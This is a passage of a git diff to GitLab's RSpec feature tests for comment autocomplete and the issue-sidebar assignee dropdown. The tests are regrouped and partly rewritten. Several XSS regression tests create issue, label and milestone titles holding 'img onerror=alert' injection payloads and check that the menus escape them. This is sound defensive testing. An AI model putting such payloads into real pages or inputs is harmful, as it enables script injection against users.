+ expect(find_autocomplete_menu).to have_css('.cur:first-of-type')
+ end
end
- it 'doesn\'t wrap for emoji values' do
- fill_in 'Comment', with: ':cartwheel_'
-
- find_highlighted_autocomplete_item.click
+ describe 'assignees' do
+ it 'does not wrap with quotes for assignee values' do
+ fill_in 'Comment', with: "@#{user.username[0]}"
- expect(find_field('Comment').value).to have_text('cartwheel_tone1')
- end
+ find_highlighted_autocomplete_item.click
- it 'doesn\'t open autocomplete after non-word character' do
- fill_in 'Comment', with: "@#{user.username[0..2]}!"
+ expect(find_field('Comment').value).to have_text("@#{user.username}")
+ end
- expect(page).not_to have_css('.atwho-view')
- end
+ it 'includes items for assignee dropdowns with non-ASCII characters in name' do
+ fill_in 'Comment', with: "@#{user.name[0...8]}"
- it 'doesn\'t open autocomplete if there is no space before' do
- fill_in 'Comment', with: "hello:#{user.username[0..2]}"
+ wait_for_requests
- expect(page).not_to have_css('.atwho-view')
- end
+ expect(find_autocomplete_menu).to have_text(user.name)
+ end
- it 'triggers autocomplete after selecting a quick action' do
- fill_in 'Comment', with: '/as'
+ it 'searches across full name for assignees' do
+ fill_in 'Comment', with: '@speciÄ…lsome'
- find_highlighted_autocomplete_item.click
+ wait_for_requests
- expect(find_autocomplete_menu).to have_text(user.username)
- end
+ expect(find_highlighted_autocomplete_item).to have_text(user.name)
+ end
- it 'does not limit quick actions autocomplete list to 5' do
- fill_in 'Comment', with: '/'
+ it 'shows names that start with the query as the top result' do
+ fill_in 'Comment', with: '@mar'
- expect(find_autocomplete_menu).to have_css('li', minimum: 6)
- end
- end
+ wait_for_requests
- context 'assignees' do
- let(:issue_assignee) { create(:issue, project: project) }
- let(:unassigned_user) { create(:user) }
+ expect(find_highlighted_autocomplete_item).to have_text(user2.name)
+ end
- before do
- issue_assignee.update(assignees: [user])
+ it 'shows usernames that start with the query as the top result' do
+ fill_in 'Comment', with: '@msi'
- project.add_maintainer(unassigned_user)
- end
+ wait_for_requests
- it 'lists users who are currently not assigned to the issue when using /assign' do
- visit project_issue_path(project, issue_assignee)
+ expect(find_highlighted_autocomplete_item).to have_text(user2.name)
+ end
- fill_in 'Comment', with: '/as'
+ # Regression test for https://gitlab.com/gitlab-org/gitlab/-/issues/321925
+ it 'shows username when pasting then pressing Enter' do
+ fill_in 'Comment', with: "@#{user.username}\n"
- find_highlighted_autocomplete_item.click
+ expect(find_field('Comment').value).to have_text "@#{user.username}"
+ end
- expect(find_autocomplete_menu).not_to have_text(user.username)
- expect(find_autocomplete_menu).to have_text(unassigned_user.username)
- end
+ it 'does not show `@undefined` when pressing `@` then Enter' do
+ fill_in 'Comment', with: "@\n"
- it 'shows dropdown on new issue form' do
- visit new_project_issue_path(project)
+ expect(find_field('Comment').value).to have_text '@'
+ expect(find_field('Comment').value).not_to have_text '@undefined'
+ end
- fill_in 'Description', with: '/ass'
+ context 'when /assign quick action is selected' do
+ it 'triggers user autocomplete and lists users who are currently not assigned to the issue' do
+ fill_in 'Comment', with: '/as'
- find_highlighted_autocomplete_item.click
+ find_highlighted_autocomplete_item.click
- expect(find_autocomplete_menu).to have_text(unassigned_user.username)
- expect(find_autocomplete_menu).to have_text(user.username)
+ expect(find_autocomplete_menu).not_to have_text(user.username)
+ expect(find_autocomplete_menu).to have_text(user2.username)
+ end
+ end
end
- end
-
- context 'labels' do
- it 'opens autocomplete menu for Labels when field starts with text with item escaping HTML characters' do
- label_xss_title = 'alert label &lt;img src=x onerror="alert(\'Hello xss\');" a'
- create(:label, project: project, title: label_xss_title)
- fill_in 'Comment', with: '~'
-
- wait_for_requests
+ context 'if a selected value has special characters' do
+ it 'wraps the result in double quotes' do
+ fill_in 'Comment', with: "~#{label.title[0..2]}"
- expect(find_autocomplete_menu).to have_text('alert label')
- end
+ find_highlighted_autocomplete_item.click
- it 'allows colons when autocompleting scoped labels' do
- create(:label, project: project, title: 'scoped:label')
+ expect(find_field('Comment').value).to have_text("~\"#{label.title}\"")
+ end
- fill_in 'Comment', with: '~scoped:'
+ it 'doesn\'t wrap for emoji values' do
+ fill_in 'Comment', with: ':cartwheel_'
- wait_for_requests
+ find_highlighted_autocomplete_item.click
- expect(find_autocomplete_menu).to have_text('scoped:label')
+ expect(find_field('Comment').value).to have_text('cartwheel_tone1')
+ end
end
- it 'allows colons when autocompleting scoped labels with double colons' do
- create(:label, project: project, title: 'scoped::label')
+ context 'quick actions' do
+ it 'does not limit quick actions autocomplete list to 5' do
+ fill_in 'Comment', with: '/'
- fill_in 'Comment', with: '~scoped::'
-
- wait_for_requests
-
- expect(find_autocomplete_menu).to have_text('scoped::label')
+ expect(find_autocomplete_menu).to have_css('li', minimum: 6)
+ end
end
- it 'allows spaces when autocompleting multi-word labels' do
- create(:label, project: project, title: 'Accepting merge requests')
+ context 'labels' do
+ it 'allows colons when autocompleting scoped labels' do
+ fill_in 'Comment', with: '~scoped:'
- fill_in 'Comment', with: '~Accepting merge'
+ wait_for_requests
- wait_for_requests
+ expect(find_autocomplete_menu).to have_text('scoped::label')
+ end
- expect(find_autocomplete_menu).to have_text('Accepting merge requests')
- end
+ it 'allows spaces when autocompleting multi-word labels' do
+ fill_in 'Comment', with: '~Accepting merge'
- it 'only autocompletes the latest label' do
- create(:label, project: project, title: 'Accepting merge requests')
- create(:label, project: project, title: 'Accepting job applicants')
+ wait_for_requests
- fill_in 'Comment', with: '~Accepting merge requests foo bar ~Accepting job'
+ expect(find_autocomplete_menu).to have_text('Accepting merge requests')
+ end
- wait_for_requests
+ it 'only autocompletes the last label' do
+ fill_in 'Comment', with: '~scoped:: foo bar ~Accepting merge'
- expect(find_autocomplete_menu).to have_text('Accepting job applicants')
- end
+ wait_for_requests
- it 'does not autocomplete labels if no tilde is typed' do
- create(:label, project: project, title: 'Accepting merge requests')
+ expect(find_autocomplete_menu).to have_text('Accepting merge requests')
+ end
- fill_in 'Comment', with: 'Accepting merge'
+ it 'does not autocomplete labels if no tilde is typed' do
+ fill_in 'Comment', with: 'Accepting merge'
- wait_for_requests
+ wait_for_requests
- expect(page).not_to have_css('.atwho-view')
+ expect(page).not_to have_css('.atwho-view')
+ end
end
- end
- context 'when other notes are destroyed' do
- let!(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
+ context 'when other notes are destroyed' do
+ let!(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
- # This is meant to protect against this issue https://gitlab.com/gitlab-org/gitlab/-/issues/228729
- it 'keeps autocomplete key listeners' do
- visit project_issue_path(project, issue)
- note = find_field('Comment')
+ # This is meant to protect against this issue https://gitlab.com/gitlab-org/gitlab/-/issues/228729
+ it 'keeps autocomplete key listeners' do
+ note = find_field('Comment')
- start_comment_with_emoji(note, '.atwho-view li')
+ start_comment_with_emoji(note, '.atwho-view li')
- start_and_cancel_discussion
+ start_and_cancel_discussion
- note.fill_in(with: '')
- start_comment_with_emoji(note, '.atwho-view li')
- note.native.send_keys(:enter)
+ note.fill_in(with: '')
+ start_comment_with_emoji(note, '.atwho-view li')
+ note.native.send_keys(:enter)
- expect(note.value).to eql('Hello :100: ')
+ expect(note.value).to eql('Hello :100: ')
+ end
end
- end
- shared_examples 'autocomplete suggestions' do
- it 'suggests objects correctly' do
- fill_in 'Comment', with: object.class.reference_prefix
+ shared_examples 'autocomplete suggestions' do
+ it 'suggests objects correctly' do
+ fill_in 'Comment', with: object.class.reference_prefix
- find_autocomplete_menu.find('li').click
+ find_autocomplete_menu.find('li').click
- expect(find_field('Comment').value).to have_text(expected_body)
+ expect(find_field('Comment').value).to have_text(expected_body)
+ end
end
- end
- context 'issues' do
- let(:object) { issue }
- let(:expected_body) { object.to_reference }
+ context 'issues' do
+ let(:object) { issue }
+ let(:expected_body) { object.to_reference }
- it_behaves_like 'autocomplete suggestions'
- end
-
- context 'merge requests' do
- let(:object) { create(:merge_request, source_project: project) }
- let(:expected_body) { object.to_reference }
-
- it_behaves_like 'autocomplete suggestions'
- end
+ it_behaves_like 'autocomplete suggestions'
+ end
- context 'project snippets' do
- let!(:object) { create(:project_snippet, project: project, title: 'code snippet') }
- let(:expected_body) { object.to_reference }
+ context 'merge requests' do
+ let(:object) { create(:merge_request, source_project: project) }
+ let(:expected_body) { object.to_reference }
- it_behaves_like 'autocomplete suggestions'
- end
+ it_behaves_like 'autocomplete suggestions'
+ end
- context 'label' do
- let!(:object) { label }
- let(:expected_body) { object.title }
+ context 'project snippets' do
+ let!(:object) { snippet }
+ let(:expected_body) { object.to_reference }
- it_behaves_like 'autocomplete suggestions'
- end
+ it_behaves_like 'autocomplete suggestions'
+ end
- context 'milestone' do
- let_it_be(:milestone_expired) { create(:milestone, project: project, due_date: 5.days.ago) }
- let_it_be(:milestone_no_duedate) { create(:milestone, project: project, title: 'Foo - No due date') }
- let_it_be(:milestone1) { create(:milestone, project: project, title: 'Milestone-1', due_date: 20.days.from_now) }
- let_it_be(:milestone2) { create(:milestone, project: project, title: 'Milestone-2', due_date: 15.days.from_now) }
- let_it_be(:milestone3) { create(:milestone, project: project, title: 'Milestone-3', due_date: 10.days.from_now) }
+ context 'milestone' do
+ let_it_be(:milestone_expired) { create(:milestone, project: project, due_date: 5.days.ago) }
+ let_it_be(:milestone_no_duedate) { create(:milestone, project: project, title: 'Foo - No due date') }
+ let_it_be(:milestone1) { create(:milestone, project: project, title: 'Milestone-1', due_date: 20.days.from_now) }
+ let_it_be(:milestone2) { create(:milestone, project: project, title: 'Milestone-2', due_date: 15.days.from_now) }
+ let_it_be(:milestone3) { create(:milestone, project: project, title: 'Milestone-3', due_date: 10.days.from_now) }
- before do
- fill_in 'Comment', with: '/milestone %'
+ before do
+ fill_in 'Comment', with: '/milestone %'
- wait_for_requests
- end
+ wait_for_requests
+ end
- it 'shows milestons list in the autocomplete menu' do
- page.within(find_autocomplete_menu) do
- expect(page).to have_selector('li', count: 5)
+ it 'shows milestons list in the autocomplete menu' do
+ page.within(find_autocomplete_menu) do
+ expect(page).to have_selector('li', count: 5)
+ end
end
- end
- it 'shows expired milestone at the bottom of the list' do
- page.within(find_autocomplete_menu) do
- expect(page.find('li:last-child')).to have_content milestone_expired.title
+ it 'shows expired milestone at the bottom of the list' do
+ page.within(find_autocomplete_menu) do
+ expect(page.find('li:last-child')).to have_content milestone_expired.title
+ end
end
- end
- it 'shows milestone due earliest at the top of the list' do
- page.within(find_autocomplete_menu) do
- aggregate_failures do
- expect(page.all('li')[0]).to have_content milestone3.title
- expect(page.all('li')[1]).to have_content milestone2.title
- expect(page.all('li')[2]).to have_content milestone1.title
- expect(page.all('li')[3]).to have_content milestone_no_duedate.title
+ it 'shows milestone due earliest at the top of the list' do
+ page.within(find_autocomplete_menu) do
+ aggregate_failures do
+ expect(page.all('li')[0]).to have_content milestone3.title
+ expect(page.all('li')[1]).to have_content milestone2.title
+ expect(page.all('li')[2]).to have_content milestone1.title
+ expect(page.all('li')[3]).to have_content milestone_no_duedate.title
+ end
end
end
end
@@ -440,346 +395,303 @@ RSpec.describe 'GFM autocomplete', :js do
end
describe 'when tribute_autocomplete feature flag is on' do
- before do
- stub_feature_flags(tribute_autocomplete: true)
-
- sign_in(user)
- visit project_issue_path(project, issue)
-
- wait_for_requests
- end
+ describe 'issue description' do
+ let(:issue_to_edit) { create(:issue, project: project) }
- it 'updates issue description with GFM reference' do
- click_button 'Edit title and description'
-
- wait_for_requests
-
- fill_in 'Description', with: "@#{user.name[0...3]}"
-
- wait_for_requests
+ before do
+ stub_feature_flags(tribute_autocomplete: true)
- find_highlighted_tribute_autocomplete_menu.click
+ sign_in(user)
+ visit project_issue_path(project, issue_to_edit)
- click_button 'Save changes'
+ wait_for_requests
+ end
- wait_for_requests
+ it 'updates with GFM reference' do
+ click_button 'Edit title and description'
- expect(find('.description')).to have_text(user.to_reference)
- end
+ wait_for_requests
- it 'opens autocomplete menu when field starts with text' do
- fill_in 'Comment', with: '@'
+ fill_in 'Description', with: "@#{user.name[0...3]}"
- expect(find_tribute_autocomplete_menu).to be_visible
- end
+ wait_for_requests
- it 'opens autocomplete menu for Issues when field starts with text with item escaping HTML characters' do
- issue_xss_title = 'This will execute alert<img src=x onerror=alert(2)&lt;img src=x onerror=alert(1)&gt;'
- create(:issue, project: project, title: issue_xss_title)
+ find_highlighted_tribute_autocomplete_menu.click
- fill_in 'Comment', with: '#'
+ click_button 'Save changes'
- wait_for_requests
+ wait_for_requests
- expect(find_tribute_autocomplete_menu).to have_text(issue_xss_title)
+ expect(find('.description')).to have_text(user.to_reference)
+ end
end
- it 'opens autocomplete menu for Username when field starts with text with item escaping HTML characters' do
- fill_in 'Comment', with: '@ev'
-
- wait_for_requests
-
- expect(find_tribute_autocomplete_menu).to have_text(user_xss.username)
- end
+ describe 'issue comment' do
+ before do
+ stub_feature_flags(tribute_autocomplete: true)
- it 'opens autocomplete menu for Milestone when field starts with text with item escaping HTML characters' do
- milestone_xss_title = 'alert milestone &lt;img src=x onerror="alert(\'Hello xss\');" a'
- create(:milestone, project: project, title: milestone_xss_title)
+ sign_in(user)
+ visit project_issue_path(project, issue)
- fill_in 'Comment', with: '%'
+ wait_for_requests
+ end
- wait_for_requests
+ describe 'triggering autocomplete' do
+ it 'only opens autocomplete menu when trigger character is after whitespace', :aggregate_failures do
+ fill_in 'Comment', with: 'testing@'
+ expect(page).not_to have_css('.tribute-container')
- expect(find_tribute_autocomplete_menu).to have_text('alert milestone')
- end
+ fill_in 'Comment', with: "hello:#{user.username[0..2]}"
+ expect(page).not_to have_css('.tribute-container')
- it 'does not open autocomplete menu when trigger character is prefixed with text' do
- fill_in 'Comment', with: 'testing@'
+ fill_in 'Comment', with: '7:'
+ expect(page).not_to have_css('.tribute-container')
- expect(page).not_to have_css('.tribute-container')
- end
+ fill_in 'Comment', with: 'w:'
+ expect(page).not_to have_css('.tribute-container')
- it 'does not open autocomplete menu when ":" is prefixed by a number and letters' do
- # Number.
- fill_in 'Comment', with: '7:'
- expect(page).not_to have_css('.tribute-container')
+ fill_in 'Comment', with: 'Ð:'
+ expect(page).not_to have_css('.tribute-container')
- # ASCII letter.
- fill_in 'Comment', with: 'w:'
- expect(page).not_to have_css('.tribute-container')
+ fill_in 'Comment', with: "test\n\n@"
+ expect(find_tribute_autocomplete_menu).to be_visible
+ end
+ end
- # Non-ASCII letter.
- fill_in 'Comment', with: 'Ð:'
- expect(page).not_to have_css('.tribute-container')
- end
+ context 'xss checks' do
+ it 'opens autocomplete menu for Issues when field starts with text with item escaping HTML characters' do
+ issue_xss_title = 'This will execute alert<img src=x onerror=alert(2)&lt;img src=x onerror=alert(1)&gt;'
+ create(:issue, project: project, title: issue_xss_title)
- it 'selects the first item for assignee dropdowns' do
- fill_in 'Comment', with: '@'
+ fill_in 'Comment', with: '#'
- wait_for_requests
+ wait_for_requests
- expect(find_tribute_autocomplete_menu).to have_css('.highlight:first-of-type')
- end
+ expect(find_tribute_autocomplete_menu).to have_text(issue_xss_title)
+ end
- it 'includes items for assignee dropdowns with non-ASCII characters in name' do
- fill_in 'Comment', with: "@#{user.name[0...8]}"
+ it 'opens autocomplete menu for Username when field starts with text with item escaping HTML characters' do
+ fill_in 'Comment', with: '@ev'
- wait_for_requests
+ wait_for_requests
- expect(find_tribute_autocomplete_menu).to have_text(user.name)
- end
+ expect(find_tribute_autocomplete_menu).to have_text(user_xss.username)
+ end
- it 'selects the first item for non-assignee dropdowns if a query is entered' do
- fill_in 'Comment', with: ':1'
+ it 'opens autocomplete menu for Milestone when field starts with text with item escaping HTML characters' do
+ milestone_xss_title = 'alert milestone &lt;img src=x onerror="alert(\'Hello xss\');" a'
+ create(:milestone, project: project, title: milestone_xss_title)
- wait_for_requests
+ fill_in 'Comment', with: '%'
- expect(find_tribute_autocomplete_menu).to have_css('.highlight:first-of-type')
- end
+ wait_for_requests
- context 'when autocompleting for groups' do
- it 'shows the group when searching for the name of the group' do
- fill_in 'Comment', with: '@mygroup'
+ expect(find_tribute_autocomplete_menu).to have_text('alert milestone')
+ end
- expect(find_tribute_autocomplete_menu).to have_text('My group')
- end
+ it 'opens autocomplete menu for Labels when field starts with text with item escaping HTML characters' do
+ fill_in 'Comment', with: '~'
- it 'does not show the group when searching for the name of the parent of the group' do
- fill_in 'Comment', with: '@ancestor'
+ wait_for_requests
- expect(find_tribute_autocomplete_menu).not_to have_text('My group')
+ expect(find_tribute_autocomplete_menu).to have_text('alert label')
+ end
end
- end
- context 'if a selected value has special characters' do
- it 'wraps the result in double quotes' do
- fill_in 'Comment', with: "~#{label.title[0]}"
+ describe 'autocomplete highlighting' do
+ it 'auto-selects the first item with query', :aggregate_failures do
+ fill_in 'Comment', with: ':1'
+ wait_for_requests
+ expect(find_tribute_autocomplete_menu).to have_css('.highlight:first-of-type')
- find_highlighted_tribute_autocomplete_menu.click
-
- expect(find_field('Comment').value).to have_text("~\"#{label.title}\"")
+ fill_in 'Comment', with: '@'
+ wait_for_requests
+ expect(find_tribute_autocomplete_menu).to have_css('.highlight:first-of-type')
+ end
end
- it "shows dropdown after a new line" do
- fill_in 'Comment', with: "test\n\n@"
-
- expect(find_tribute_autocomplete_menu).to be_visible
- end
+ describe 'assignees' do
+ it 'does not wrap with quotes for assignee values' do
+ fill_in 'Comment', with: "@#{user.username[0..2]}"
- it 'doesn\'t wrap for assignee values' do
- fill_in 'Comment', with: "@#{user.username[0..2]}"
+ find_highlighted_tribute_autocomplete_menu.click
- find_highlighted_tribute_autocomplete_menu.click
+ expect(find_field('Comment').value).to have_text("@#{user.username}")
+ end
- expect(find_field('Comment').value).to have_text("@#{user.username}")
- end
+ it 'includes items for assignee dropdowns with non-ASCII characters in name' do
+ fill_in 'Comment', with: "@#{user.name[0...8]}"
- it 'does not wrap for emoji values' do
- fill_in 'Comment', with: ':cartwheel_'
+ wait_for_requests
- find_highlighted_tribute_autocomplete_menu.click
+ expect(find_tribute_autocomplete_menu).to have_text(user.name)
+ end
- expect(find_field('Comment').value).to have_text('cartwheel_tone1')
- end
+ context 'when autocompleting for groups' do
+ it 'shows the group when searching for the name of the group' do
+ fill_in 'Comment', with: '@mygroup'
- it 'does not open autocomplete if there is no space before' do
- fill_in 'Comment', with: "hello:#{user.username[0..2]}"
+ expect(find_tribute_autocomplete_menu).to have_text('My group')
+ end
- expect(page).not_to have_css('.tribute-container')
- end
+ it 'does not show the group when searching for the name of the parent of the group' do
+ fill_in 'Comment', with: '@ancestor'
- it 'autocompletes for quick actions' do
- fill_in 'Comment', with: '/as'
+ expect(find_tribute_autocomplete_menu).not_to have_text('My group')
+ end
+ end
- find_highlighted_tribute_autocomplete_menu.click
+ context 'when /assign quick action is selected' do
+ it 'lists users who are currently not assigned to the issue' do
+ note = find_field('Comment')
+ note.native.send_keys('/assign ')
+ # The `/assign` ajax response might replace the one by `@` below causing a failed test
+ # so we need to wait for the `/assign` ajax request to finish first
+ wait_for_requests
+ note.native.send_keys('@')
+ wait_for_requests
+
+ expect(find_tribute_autocomplete_menu).not_to have_text(user.username)
+ expect(find_tribute_autocomplete_menu).to have_text(user2.username)
+ end
- expect(find_field('Comment').value).to have_text('/assign')
+ it 'lists users who are currently not assigned to the issue when using /assign on the second line' do
+ note = find_field('Comment')
+ note.native.send_keys('/assign @user2')
+ note.native.send_keys(:enter)
+ note.native.send_keys('/assign ')
+ # The `/assign` ajax response might replace the one by `@` below causing a failed test
+ # so we need to wait for the `/assign` ajax request to finish first
+ wait_for_requests
+ note.native.send_keys('@')
+ wait_for_requests
+
+ expect(find_tribute_autocomplete_menu).not_to have_text(user.username)
+ expect(find_tribute_autocomplete_menu).to have_text(user2.username)
+ end
+ end
end
- end
- context 'assignees' do
- let(:issue_assignee) { create(:issue, project: project) }
- let(:unassigned_user) { create(:user) }
+ context 'if a selected value has special characters' do
+ it 'wraps the result in double quotes' do
+ fill_in 'Comment', with: "~#{label.title[0..2]}"
- before do
- issue_assignee.update(assignees: [user])
+ find_highlighted_tribute_autocomplete_menu.click
- project.add_maintainer(unassigned_user)
- end
+ expect(find_field('Comment').value).to have_text("~\"#{label.title}\"")
+ end
- it 'lists users who are currently not assigned to the issue when using /assign' do
- visit project_issue_path(project, issue_assignee)
+ it 'does not wrap for emoji values' do
+ fill_in 'Comment', with: ':cartwheel_'
- note = find_field('Comment')
- note.native.send_keys('/assign ')
- # The `/assign` ajax response might replace the one by `@` below causing a failed test
- # so we need to wait for the `/assign` ajax request to finish first
- wait_for_requests
- note.native.send_keys('@')
- wait_for_requests
+ find_highlighted_tribute_autocomplete_menu.click
- expect(find_tribute_autocomplete_menu).not_to have_text(user.username)
- expect(find_tribute_autocomplete_menu).to have_text(unassigned_user.username)
+ expect(find_field('Comment').value).to have_text('cartwheel_tone1')
+ end
end
- it 'lists users who are currently not assigned to the issue when using /assign on the second line' do
- visit project_issue_path(project, issue_assignee)
+ context 'quick actions' do
+ it 'autocompletes for quick actions' do
+ fill_in 'Comment', with: '/as'
- note = find_field('Comment')
- note.native.send_keys('/assign @user2')
- note.native.send_keys(:enter)
- note.native.send_keys('/assign ')
- # The `/assign` ajax response might replace the one by `@` below causing a failed test
- # so we need to wait for the `/assign` ajax request to finish first
- wait_for_requests
- note.native.send_keys('@')
- wait_for_requests
+ find_highlighted_tribute_autocomplete_menu.click
- expect(find_tribute_autocomplete_menu).not_to have_text(user.username)
- expect(find_tribute_autocomplete_menu).to have_text(unassigned_user.username)
+ expect(find_field('Comment').value).to have_text('/assign')
+ end
end
- end
- context 'labels' do
- it 'opens autocomplete menu for Labels when field starts with text with item escaping HTML characters' do
- label_xss_title = 'alert label &lt;img src=x onerror="alert(\'Hello xss\');" a'
- create(:label, project: project, title: label_xss_title)
+ context 'labels' do
+ it 'allows colons when autocompleting scoped labels' do
+ fill_in 'Comment', with: '~scoped:'
- fill_in 'Comment', with: '~'
+ wait_for_requests
- wait_for_requests
+ expect(find_tribute_autocomplete_menu).to have_text('scoped::label')
+ end
- expect(find_tribute_autocomplete_menu).to have_text('alert label')
- end
+ it 'autocompletes multi-word labels' do
+ fill_in 'Comment', with: '~Acceptingmerge'
- it 'allows colons when autocompleting scoped labels' do
- create(:label, project: project, title: 'scoped:label')
+ wait_for_requests
- fill_in 'Comment', with: '~scoped:'
+ expect(find_tribute_autocomplete_menu).to have_text('Accepting merge requests')
+ end
- wait_for_requests
+ it 'only autocompletes the last label' do
+ fill_in 'Comment', with: '~scoped:: foo bar ~Acceptingmerge'
+ # Invoke autocompletion
+ find_field('Comment').native.send_keys(:right)
- expect(find_tribute_autocomplete_menu).to have_text('scoped:label')
- end
+ wait_for_requests
- it 'allows colons when autocompleting scoped labels with double colons' do
- create(:label, project: project, title: 'scoped::label')
+ expect(find_tribute_autocomplete_menu).to have_text('Accepting merge requests')
+ end
- fill_in 'Comment', with: '~scoped::'
+ it 'does not autocomplete labels if no tilde is typed' do
+ fill_in 'Comment', with: 'Accepting'
- wait_for_requests
+ wait_for_requests
- expect(find_tribute_autocomplete_menu).to have_text('scoped::label')
+ expect(page).not_to have_css('.tribute-container')
+ end
end
- it 'autocompletes multi-word labels' do
- create(:label, project: project, title: 'Accepting merge requests')
+ context 'when other notes are destroyed' do
+ let!(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
- fill_in 'Comment', with: '~Acceptingmerge'
+ # This is meant to protect against this issue https://gitlab.com/gitlab-org/gitlab/-/issues/228729
+ it 'keeps autocomplete key listeners' do
+ note = find_field('Comment')
- wait_for_requests
-
- expect(find_tribute_autocomplete_menu).to have_text('Accepting merge requests')
- end
-
- it 'only autocompletes the latest label' do
- create(:label, project: project, title: 'documentation')
- create(:label, project: project, title: 'feature')
+ start_comment_with_emoji(note, '.tribute-container li')
- fill_in 'Comment', with: '~documentation foo bar ~feat'
- # Invoke autocompletion
- find_field('Comment').native.send_keys(:right)
+ start_and_cancel_discussion
- wait_for_requests
+ note.fill_in(with: '')
+ start_comment_with_emoji(note, '.tribute-container li')
+ note.native.send_keys(:enter)
- expect(find_tribute_autocomplete_menu).to have_text('feature')
- expect(find_tribute_autocomplete_menu).not_to have_text('documentation')
+ expect(note.value).to eql('Hello :100: ')
+ end
end
- it 'does not autocomplete labels if no tilde is typed' do
- create(:label, project: project, title: 'documentation')
+ shared_examples 'autocomplete suggestions' do
+ it 'suggests objects correctly' do
+ fill_in 'Comment', with: object.class.reference_prefix
- fill_in 'Comment', with: 'document'
-
- wait_for_requests
+ find_tribute_autocomplete_menu.find('li').click
- expect(page).not_to have_css('.tribute-container')
+ expect(find_field('Comment').value).to have_text(expected_body)
+ end
end
- end
-
- context 'when other notes are destroyed' do
- let!(:discussion) { create(:discussion_note_on_issue, noteable: issue, project: issue.project) }
-
- # This is meant to protect against this issue https://gitlab.com/gitlab-org/gitlab/-/issues/228729
- it 'keeps autocomplete key listeners' do
- visit project_issue_path(project, issue)
- note = find_field('Comment')
-
- start_comment_with_emoji(note, '.tribute-container li')
-
- start_and_cancel_discussion
- note.fill_in(with: '')
- start_comment_with_emoji(note, '.tribute-container li')
- note.native.send_keys(:enter)
+ context 'issues' do
+ let(:object) { issue }
+ let(:expected_body) { object.to_reference }
- expect(note.value).to eql('Hello :100: ')
+ it_behaves_like 'autocomplete suggestions'
end
- end
-
- shared_examples 'autocomplete suggestions' do
- it 'suggests objects correctly' do
- fill_in 'Comment', with: object.class.reference_prefix
- find_tribute_autocomplete_menu.find('li').click
+ context 'merge requests' do
+ let(:object) { create(:merge_request, source_project: project) }
+ let(:expected_body) { object.to_reference }
- expect(find_field('Comment').value).to have_text(expected_body)
+ it_behaves_like 'autocomplete suggestions'
end
- end
-
- context 'issues' do
- let(:object) { issue }
- let(:expected_body) { object.to_reference }
- it_behaves_like 'autocomplete suggestions'
- end
-
- context 'merge requests' do
- let(:object) { create(:merge_request, source_project: project) }
- let(:expected_body) { object.to_reference }
-
- it_behaves_like 'autocomplete suggestions'
- end
+ context 'project snippets' do
+ let!(:object) { snippet }
+ let(:expected_body) { object.to_reference }
- context 'project snippets' do
- let!(:object) { create(:project_snippet, project: project, title: 'code snippet') }
- let(:expected_body) { object.to_reference }
-
- it_behaves_like 'autocomplete suggestions'
- end
-
- context 'label' do
- let!(:object) { label }
- let(:expected_body) { object.title }
-
- it_behaves_like 'autocomplete suggestions'
- end
+ it_behaves_like 'autocomplete suggestions'
+ end
- context 'milestone' do
- let!(:object) { create(:milestone, project: project) }
- let(:expected_body) { object.to_reference }
+ context 'milestone' do
+ let!(:object) { create(:milestone, project: project) }
+ let(:expected_body) { object.to_reference }
- it_behaves_like 'autocomplete suggestions'
+ it_behaves_like 'autocomplete suggestions'
+ end
end
end
diff --git a/spec/features/issues/issue_sidebar_spec.rb b/spec/features/issues/issue_sidebar_spec.rb
index ca44978d223..04b4caa52fe 100644
--- a/spec/features/issues/issue_sidebar_spec.rb
+++ b/spec/features/issues/issue_sidebar_spec.rb
@@ -30,79 +30,199 @@ RSpec.describe 'Issue Sidebar' do
let(:user2) { create(:user) }
let(:issue2) { create(:issue, project: project, author: user2) }
- include_examples 'issuable invite members experiments' do
- let(:issuable_path) { project_issue_path(project, issue2) }
- end
-
- context 'when user is a developer' do
+ context 'when GraphQL assignees widget feature flag is disabled' do
before do
- project.add_developer(user)
- visit_issue(project, issue2)
-
- find('.block.assignee .edit-link').click
+ stub_feature_flags(issue_assignees_widget: false)
+ end
- wait_for_requests
+ include_examples 'issuable invite members experiments' do
+ let(:issuable_path) { project_issue_path(project, issue2) }
end
- it 'shows author in assignee dropdown' do
- page.within '.dropdown-menu-user' do
- expect(page).to have_content(user2.name)
+ context 'when user is a developer' do
+ before do
+ project.add_developer(user)
+ visit_issue(project, issue2)
+
+ find('.block.assignee .edit-link').click
+ wait_for_requests
+ end
+
+ it 'shows author in assignee dropdown' do
+ page.within '.dropdown-menu-user' do
+ expect(page).to have_content(user2.name)
+ end
+ end
+
+ it 'shows author when filtering assignee dropdown' do
+ page.within '.dropdown-menu-user' do
+ find('.dropdown-input-field').set(user2.name)
+
+ wait_for_requests
+
+ expect(page).to have_content(user2.name)
+ end
+ end
+
+ it 'assigns yourself' do
+ find('.block.assignee .dropdown-menu-toggle').click
+
+ click_button 'assign yourself'
+
+ wait_for_requests
+
+ find('.block.assignee .edit-link').click
+
+ page.within '.dropdown-menu-user' do
+ expect(page.find('.dropdown-header')).to be_visible
+ expect(page.find('.dropdown-menu-user-link.is-active')).to have_content(user.name)
+ end
end
- end
- it 'shows author when filtering assignee dropdown' do
- page.within '.dropdown-menu-user' do
+ it 'keeps your filtered term after filtering and dismissing the dropdown' do
find('.dropdown-input-field').set(user2.name)
wait_for_requests
- expect(page).to have_content(user2.name)
+ page.within '.dropdown-menu-user' do
+ expect(page).not_to have_content 'Unassigned'
+ click_link user2.name
+ end
+
+ find('.js-right-sidebar').click
+ find('.block.assignee .edit-link').click
+
+ expect(page.all('.dropdown-menu-user li').length).to eq(1)
+ expect(find('.dropdown-input-field').value).to eq(user2.name)
+ end
+
+ it 'shows label text as "Apply" when assignees are changed' do
+ project.add_developer(user)
+ visit_issue(project, issue2)
+
+ find('.block.assignee .edit-link').click
+ wait_for_requests
+
+ click_on 'Unassigned'
+
+ expect(page).to have_link('Apply')
end
end
+ end
- it 'assigns yourself' do
- find('.block.assignee .dropdown-menu-toggle').click
+ context 'when GraphQL assignees widget feature flag is enabled' do
+ context 'when a privileged user can invite' do
+ it 'shows a link for inviting members and launches invite modal' do
+ project.add_maintainer(user)
+ visit_issue(project, issue2)
- click_button 'assign yourself'
+ open_assignees_dropdown
- wait_for_requests
+ page.within '.dropdown-menu-user' do
+ expect(page).to have_link('Invite members')
+ expect(page).to have_selector('[data-track-event="click_invite_members"]')
+ expect(page).to have_selector('[data-track-label="edit_assignee"]')
+ end
- find('.block.assignee .edit-link').click
